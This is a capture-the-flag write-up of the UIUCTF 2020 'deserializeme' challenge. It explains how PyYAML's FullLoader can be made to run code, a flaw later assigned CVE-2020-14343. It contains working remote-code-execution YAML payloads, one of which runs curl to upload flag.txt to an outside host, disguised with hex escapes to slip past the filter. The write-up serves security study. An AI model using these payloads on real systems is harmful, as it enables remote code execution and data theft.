# uiuctf 2020 ## deserializeme (450, 3 solves, solved by @ozetta and @harrier) > Update: It was assigned as [CVE-2020-14343](https://access.redhat.com/security/cve/cve-2020-14343) after the contest. This was a fun challenge exploiting a deserialize service in Python. The server is using [pyYAML](https://github.com/yaml/pyyaml/tree/5.3.1) and Flask, with the source code below: ```python= from flask import Flask, session, request, make_response import yaml import re import os app = Flask(__name__) app.secret_key = os.urandom(16) @app.route('/', methods=["POST"]) def pwnme(): if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE): return "Nice try!", 400 return yaml.load(request.data) if __name__ == '__main__': app.run(host='0.0.0.0', port=8080) ``` Bascially it is a service to do yaml.load() to your input and print it (return) with limitation to block some special character (especially `.` and `_`) The version of pyYAML and flask is both at latest release, so its not with an challenge with an existing CVE. We noticed that `yaml.load` is "unsafe" by the README: ``` When LibYAML bindings are installed, you may use fast LibYAML-based parser and emitter as follows: >>> yaml.load(stream, Loader=yaml.CLoader) >>> yaml.dump(data, Dumper=yaml.CDumper) If you don't trust the input stream, you should use: >>> yaml.safe_load(stream) ``` So we dig into the internals of yaml loader. From the source code, when loader is not provided, it uses `FullLoader` ```python def load(stream, Loader=None): """ Parse the first YAML document in a stream and produce the corresponding Python object. """ if Loader is None: load_warning('load') Loader = FullLoader loader = Loader(stream) try: return loader.get_single_data() finally: loader.dispose() ``` And `FullLoader` uses `FullConstructor` to construct the python objects in: https://github.com/yaml/pyyaml/blob/5.3.1/lib3/yaml/constructor.py The differences of `FullConstructor` and `UnsafeConstructor` is, UnsafeConstructor can uses the yaml tag: `python/object/apply` (that can be used to call functions) and it doesn't block some reserved keywords. From there, we guessed the challenge was to do an RCE using `python/object/new` tag (that is available in FullConstructor) and somehow bypass the CVE-2020-1747 [fixes](https://github.com/yaml/pyyaml/pull/386). (With the POC [here](https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1)) The CVE-2020-1747 exploits the fact that user can input a object with a customized `extend` function, so that after the object is constructed (with `python/object/new` / `python/object/apply`), it can trigger the function `extend` as it is used by the constructor as below: ```python def construct_python_object_apply(self, suffix, node, newobj=False): ... instance = self.make_python_instance(suffix, node, args, kwds, newobj) if state: self.set_python_instance_state(instance, state) if listitems: instance.extend(listitems) if dictitems: for key in dictitems: instance[key] = dictitems[key] return instance ``` While the format of `python/object/apply` can supply states for the object, we can use `python/name` to reference a python internal function (exec, eval etc). We cannot use an module function as `.` and `_` is blocked, so the CVE PoC cannot be used. (and it used apply, which is blocked by `FullConstructor`) ``` # !!python/object/apply # (or !!python/object/new) # args: [ ... arguments ... ] # kwds: { ... keywords ... } # state: ... state ... # listitems: [ ... listitems ... ] # dictitems: { ... dictitems ... } # or short format: # !!python/object/apply [ ... arguments ... ] ``` The 5.3.1 fixes also blocked the key `extend` and `^__.*__$` to disallow setting those key with the state parameter. We discovered that we can use `python/object/new` with `type` constructor (`type` is a type...) to create new types with some customized internal state. With this, we can bypass the `state` key block mechanism and freely set our object to something like this: ``` !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] ``` With this we can put our commands to `listitems`, and the constructor will call `instance.extend(listitems)`, thus finish our RCE exploit. Full payload: ``` !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')" ``` (We changed `_` to `\x5f` and `.` to `\x2e` to bypass the regex limitation) The intended solution uses `map` as a type (as it is a type in Python 3): ``` !!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]] ``` This is essentially the python code `tuple(map(eval, "PAYLOAD")))`, and this works as `map` and `tuple` are both class constructor (so it doesnt use any function as apply calls). Thanks for the author for such cool challenge (basically used a 0day for the CTF challenge).